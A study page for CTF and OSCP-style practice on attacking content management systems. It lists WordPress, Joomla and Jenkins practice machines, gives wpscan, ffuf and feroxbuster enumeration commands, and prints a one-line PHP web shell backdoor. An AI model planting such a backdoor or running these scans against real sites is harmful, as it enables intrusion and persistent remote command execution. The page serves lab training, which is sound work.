CMS Exploitation (WordPress, Joomla): practice machines and key commands
By Daniel Dayan ยท Updated
Content management systems and common platforms are popular targets because they are widely deployed and often outdated. Identify the product and version from headers, generator tags and static file paths, then enumerate plugins, themes and users. WPScan covers WordPress, and similar scanners exist for Joomla and Drupal. A vulnerable plugin can give file read, SQL injection or upload, while an admin login lets you edit a theme or install a plugin containing a web shell. Weak or default passwords on admin panels, Jenkins script consoles and monitoring tools such as Splunk are a frequent shortcut. Check configuration files for database credentials once you have a foothold. These machines run recognisable software with exploitable weaknesses. Always back up what you change in an admin panel and remove the shell afterwards.
Key commands
Placeholders in braces, such as {TARGET_IP}, are values you fill in for your target.
WPScan WordPress Enumeration & Attack
Enumerate vulnerable plugins, themes, and usernames on WordPress sites.
wpscan --url http://{TARGET_IP}/ --enumerate ap,at,u,cb --plugins-detection aggressiveffuf Directory & Endpoint Fuzzing
High-speed directory enumeration with auto-calibrated filtering and extension recursion.
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -u http://{TARGET_IP}/FUZZ -e .php,.html,.txt,.bak,.js -ac -mc 200,301,302,403Feroxbuster Recursive Crawl & Fuzz
Deep Rust recursive crawler with smart 404 detection and auto-extract.
feroxbuster -u http://{TARGET_IP}/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -x php,asp,aspx,jsp -d 2Minimal PHP Single-Line Backdoor
Lightweight PHP command execution backdoor for quick web root persistence.
echo '<?php system($_GET["cmd"]); ?>' > shell.php
Keep going
- Methodology: Phase 03: Vulnerability Identification & Threat Modeling
- Cheatsheet: Web & Directory Fuzzing
CMS Exploitation (WordPress, Joomla) machines (30)
8 of these are machines I solved myself and are listed first within each difficulty. 24 Linux, 6 Windows.
Listed when a machine has a catalog tag that is one of: fuel cms, cms made simple, nibbleblog, tomcat, elastix, wordpress, joomla, drupal, cms, wpscan, teamcity, jenkins, splunk; or a tag that contains the word cms. Capital letters, hyphens and underscores are ignored, and the tags that matched come first in each row. "Editor-mapped" marks machines assigned to this topic by hand because none of their tags match.
CMS Exploitation (WordPress, Joomla) at a glance
- By platform: 18 TryHackMe, 12 Hack The Box.
- On these practice lists: OSCP (10), CWEE (6), CPTS (2), Unofficial IppSec CPTS (2), HTB Starting Point (2), HTB Active Directory (1).
- Tags that most often appear alongside it: RCE (3), RDP (2), SQLi (2), Tunneling (2).
- Solved by me, with a page here: Ignition (Linux Very Easy), Pennyworth (Linux Very Easy), Blocky (Linux Easy), Jerry (Windows Easy), Nibbles (Linux Easy), Simple CTF (Linux Easy), Vulnerability Capstone (Linux Easy), Mr Robot CTF (Linux Medium).
Very Easy (2)
| Machine | Platform | OS |
|---|---|---|
| Ignition | HTB | Linux |
| Pennyworth | HTB | Linux |
Easy (13)
| Machine | Platform | OS |
|---|---|---|
| Blocky IppSec | HTB | Linux |
| Jerry IppSec | HTB | Windows |
| Nibbles IppSec | HTB | Linux |
| Simple CTF | THM | Linux |
| Vulnerability Capstone | THM | Linux |
| Alfred | THM | Windows |
| Anthem | THM | Windows |
| Armageddon IppSec | HTB | Linux |
| Blunder IppSec | HTB | Linux |
| Ignite | THM | Linux |
| LazyAdmin | THM | Linux |
| Skynet | THM | Linux |
| VulnNet: Internal | THM | Linux |
Medium (11)
| Machine | Platform | OS |
|---|---|---|
| Mr Robot CTF | THM | Linux |
| Bastard IppSec | HTB | Windows |
| Benign | THM | Linux |
| Boiler CTF | THM | Linux |
| Hawk IppSec | HTB | Linux |
| Investigating with Splunk | THM | Linux |
| PS Eclipse | THM | Linux |
| Runner IppSec | HTB | Linux |
| Smol | THM | Linux |
| Surveillance IppSec | HTB | Linux |
| VulnNet: dotjar | THM | Linux |
Hard (4)
| Machine | Platform | OS |
|---|---|---|
| Daily Bugle | THM | Linux |
| Internal | THM | Linux |
| Object | HTB | Windows |
| Retro | THM | Windows |
Related techniques
Related guides: TJ Null OSCP list, OSCP exam scoring and time budget, OSCP vs CPTS, OSCP report template.
Practise it, then track it.
Log every box and the commands you used in ZeroBox.